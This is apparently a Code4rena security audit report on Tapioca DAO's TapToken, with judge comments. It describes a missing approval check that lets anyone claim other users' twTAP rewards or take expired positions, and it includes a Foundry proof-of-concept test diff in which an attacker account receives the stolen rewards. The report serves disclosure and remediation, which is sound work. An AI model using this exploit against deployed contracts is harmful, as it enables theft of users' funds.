anyone can claim rewards for users with approval to `TapToken` or steal the whole position

[c4-bot-10]

Lines of code

https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/tokens/TapTokenReceiver.sol#L176 https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/tokens/TapTokenReceiver.sol#L140-L141

Vulnerability details

Description

In TapToken there is a feature that you can interact with TwTAP cross chain, participate, claim rewards and exit a position.

The issue is that, in TwTAP to claim rewards and exit a position, the caller doing the actions needs to be approved by the owner, twTAP::_requireClaimPermission:

File: tap-token/contracts/governance/twTAP.sol

547:    function _requireClaimPermission(address _to, uint256 _tokenId) internal view {
548:        if (!_isApprovedOrOwner(_to, _tokenId) && !isERC721Approved(_ownerOf(_tokenId), _to, address(this), _tokenId)) {
549:            revert NotApproved(_tokenId, msg.sender);
550:        }
551:    }

In this case, the caller will be the TapOFT contract

Once the rewards are claimed by the TapOFT contract they are transferred back cross chain to an address provided by the caller, TapTokenReceiver::_claimTwpTapRewardsReceiver:

File: tap-token/contracts/tokens/TapTokenReceiver.sol

176:            address sendTo_ = OFTMsgCodec.bytes32ToAddress(claimTwTapRewardsMsg_.sendParam[sendParamIndex].sendParam.to);

and the same for exitPosition, TapTokenReceiver::_unlockTwTapPositionReceiver:

File: tap-token/contracts/tokens/TapTokenReceiver.sol

140:        // Send TAP to the user address.
141:        uint256 tapAmount_ = twTap.exitPosition(unlockTwTapPositionMsg_.tokenId, unlockTwTapPositionMsg_.user);

Hence an attacker can spot a user that has an existing approval for their TwTAP position and steal their rewards or their whole position if it is expired.

Impact

Any user that has an existing approval to TwTAP can have their rewards stolen by anyone or position stolen upon expiry.

Now, a user can mitigate this by grouping their claim/exit with a permit transaction, only granting the next call the allowance to transfer, then "unpermitting".

The issue is that, as shown by Trust Security here: https://www.trust-security.xyz/post/permission-denied this permit transaction can be forced to revert by executing it early.

Since the allowance is then there, the attacker can simply do their own cross chain claim/exit and that way steal the victims rewards/position.

Proof of Concept

PoC showing how it works with claimRewards With just a few changes to the existing test tap-token/test/TapToken.t.sol::test_claim_rewards:

diff --git a/test/TapToken.t.sol b/test/TapToken.t.sol
index f598e46..d136d05 100644
--- a/test/TapToken.t.sol
+++ b/test/TapToken.t.sol
@@ -708,6 +708,7 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
         uint256 expectReceive2;
     }

+    address attacker = makeAddr("Attacker");
     /**
      * @dev Test the OApp functionality of `TapToken.unlockTwTapPosition()` function.
      */
@@ -788,7 +789,7 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
                 ITapToken(address(testData_.erc20Mock1)),
                 PrepareLzCallData({
                     dstEid: aEid,
-                    recipient: OFTMsgCodec.addressToBytes32(address(this)),
+                    recipient: OFTMsgCodec.addressToBytes32(attacker), // @audit attacker uses themselves as receiver
                     amountToSendLD: testData_.tokenAmount1,
                     minAmountToCreditLD: testData_.tokenAmount1,
                     msgType: SEND,
@@ -812,7 +813,7 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
                 ITapToken(address(testData_.erc20Mock2)),
                 PrepareLzCallData({
                     dstEid: aEid,
-                    recipient: OFTMsgCodec.addressToBytes32(address(this)),
+                    recipient: OFTMsgCodec.addressToBytes32(attacker), // @audit attacker uses themselves as receiver
                     amountToSendLD: testData_.tokenAmount2,
                     minAmountToCreditLD: testData_.tokenAmount2,
                     msgType: SEND,
@@ -876,6 +877,9 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
             lzSendParam_ = prepareLzCallReturn_.lzSendParam;
         }

+        // @audit attacker sends msg to claim rewards
+        vm.deal(attacker,msgFee_.nativeFee);
+        vm.prank(attacker);
         (MessagingReceipt memory msgReceipt_,) = aTapOFT.sendPacket{value: msgFee_.nativeFee}(lzSendParam_, composeMsg_);

         {
@@ -888,6 +892,8 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {

             twTap.approve(address(bTapOFT), testData_.tokenId);

+            // @audit attacker executes compose
+            vm.startPrank(attacker);
             __callLzCompose(
                 LzOFTComposedData(
                     PT_CLAIM_REWARDS,
@@ -896,10 +902,11 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
                     bEid,
                     address(bTapOFT), // Compose creator (at lzReceive)
                     address(bTapOFT), // Compose receiver (at lzCompose)
-                    address(this),
+                    address(attacker),
                     oftMsgOptions_
                 )
             );
+            vm.stopPrank();
         }

         // B->A
@@ -912,25 +919,26 @@ contract TapTokenTest is TapTestHelper, IERC721Receiver {
             verifyPackets(uint32(aEid), address(testData_.erc20Mock2Dst));

             // Check sent balance
+            // @audit attacker has received all rewards
             assertEq(
-                testData_.erc20Mock1Dst.balanceOf(address(this)),
+                testData_.erc20Mock1Dst.balanceOf(address(attacker)),
                 testData_.expectReceive1,
                 "testData_.expectReceive1 received should be equal to claimable amount"
             );
             assertEq(
-                testData_.erc20Mock2Dst.balanceOf(address(this)),
+                testData_.erc20Mock2Dst.balanceOf(address(attacker)),
                 testData_.expectReceive2,
                 "testData_.expectReceive2 received should be equal to claimable amount"
             );
             // Check credited dust. Accept a delta of 1
             assertApproxEqAbs(
-                testData_.erc20Mock1.balanceOf(address(this)),
+                testData_.erc20Mock1.balanceOf(address(attacker)),
                 testData_.tokenAmount1 - testData_.expectReceive1,
                 1,
                 "Dust1 should be credited to dust address"
             );
             assertApproxEqAbs(
-                testData_.erc20Mock2.balanceOf(address(this)),
+                testData_.erc20Mock2.balanceOf(address(attacker)),
                 testData_.tokenAmount2 - testData_.expectReceive2,
                 1,
                 "Dust2 should be credited to dust address"

Tools Used

Manual audit

Recommended Mitigation Steps

Consider adding a check in TapTokenReceiver that the user calling, _srcChainSender, is approved.

Assessed type

Access Control

[c4-judge]

dmvt marked the issue as duplicate of #72

[c4-judge]

dmvt marked the issue as duplicate of #120

[c4-judge]

dmvt marked the issue as selected for report

[c4-judge]

dmvt marked issue #142 as primary and marked this issue as a duplicate of 142

[c4-judge]

dmvt marked the issue as satisfactory